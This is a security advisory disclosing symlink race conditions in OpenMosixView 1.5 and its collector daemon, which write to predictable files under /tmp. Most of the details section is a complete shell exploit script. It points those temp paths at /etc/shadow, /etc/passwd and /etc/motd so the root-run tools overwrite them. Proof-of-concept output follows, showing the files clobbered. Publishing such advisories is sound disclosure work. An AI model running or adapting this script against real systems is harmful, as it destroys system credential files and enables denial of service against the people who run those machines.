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OpenMosixView Multiple Race Conditions
------------------------------------------------------------------------
SUMMARY
<http://www.openmosixview.com/> OpenMosix is "a Linux kernel extension
for single-system image clustering which turns a network of ordinary
computers into a supercomputer".
Lack of file content checking and file types allows local attackers to
remove arbitrary files stored by the OpenMosix operating system.
DETAILS
Vulnerable Systems:
* OpenMosixView version 1.5 and prior
At each start of the OpenMosixCollector daemon, each node's data load and
saving is assigned to the directory /tmp/openmosixcollector where data are
organised in several files:
[ file ] cluster
[ file ] IDnode-n
[ file ] IDnode-n
[ file ] sync.count
[ dir ] phist
The creation of predictable files allow any local attacker to remove
arbitrary files on the vulnerable file system via a symlink vulnerability.
In this case, we just have to rebuild a fake directory tree.
If openmosixcollector-daemon is already running there is also a way to
corrupt the fs due to the creation of a predictable temporary backup
directory evert 12 hours (see exploit below for more details).
Exploit:
#!/bin/sh
###############################################
# RX_oMcollector_proof.sh
# OpenMosixCollector exploit [25/03/2005]
# by Gangstuck and Psirac <research@rexotec.com>
###############################################
# -- Choose target
TARGET1="/etc/shadow" # OM view target
TARGET2="/etc/passwd" # OM collector target 1
TARGET3="/etc/motd" # OM collector target 2
# -- OpenMosixCollector temporary directory (without final '/')
OMCTDIR="/tmp/openmosixcollector"
echo "--------------------------------------------------------"
echo "- -= OpenMosixView and OpenMosixCollector =- -"
echo "- Symlink Vulnerability PoC -"
echo "- [versions 1.5 and minor] -"
echo "--------------------------------------------------------"
echo "- Gangstuck and Psirac -"
echo "- <research@rexotec.com> -"
echo "--------------------------------------------------------"
# -- OM View
ln -sf $TARGET1 /tmp/nodes.tmp
if [ $? ]; then
echo "[+] OpenMosixView attack successfully launched."
echo -e " - target is ${TARGET1}\n"
else
echo "[!] Failed to exploit OpenMosixView..."
fi
# -- OM Collector
if [ -d "$OMCTDIR" ]; then
echo -e "[!] Openmosix is already running.\n
Anyway, there is a way to exploit this case but this is not
implemented in this public exploit. OpenMosixcollector-daemon
automatically restarts every 12 hours and saves the current
history to a directory located in /tmp (glibc: P_tmpdir).
This is done whith the utilisation of a predictable temporary
dir name \"${OMCTDIR}_[date]\" where [date] format
look like \"18.0.2005-0.0.48\". Have phun :P"
exit 0
fi
echo -e "[-] OpenMosixCollector seems not to be started..."
echo " - creating fake directory"
mkdir $OMCTDIR
if [ ! $? ]; then
echo "[!] OpenMosixCollector attack failed !"
exit 1
fi
echo " - creating symlink attack against "
echo -e "\t> ${TARGET2}" && ln -sf $TARGET2 ${OMCTDIR}/cluster;
echo -e "\t> ${TARGET3}" && ln -sf $TARGET3 ${OMCTDIR}/sync.count;
echo "[+] OpenMosixCollector attack successfully launched."
#EOF
Proof of Concept:
$ ./RX_OMcollector_proof.sh
..
$ ls -l /tmp/nodes.tmp
lrwxrwxrwx 1 gang gang 12 2005-02-21 23:18 /tmp/nodes.tmp -> /etc/shadow
# openmosixview &
openMosix is started!
openMosix cluster contains 3 members.
cluster config changed! redraw cluster now.
$ cat /etc/shadow
192.168.0.11
# /etc/init.d/openmosixcollector start
Initializing openMosix...
openMosix configuration was successful :)
# ls -l /tmp/openmosixcollector/
rwxrwxrwx 1 user user 12 2004-12-21 23:19 cluster -> /etc/passwd
drwxr-xr-x 2 root root 1024 2004-12-21 23:25 phist
lrwxrwxrwx 1 user user 12 2004-12-21 23:19 sync.count -> /etc/motd
# cat /etc/passwd
21.12.2005-23.25.59 5 184 1757 13 3
21.12.2005-23.26.10 5 184 1757 13 3
# cat /etc/motd
ADDITIONAL INFORMATION
The information has been provided by <mailto:research@rexotec.com>
rexolab.
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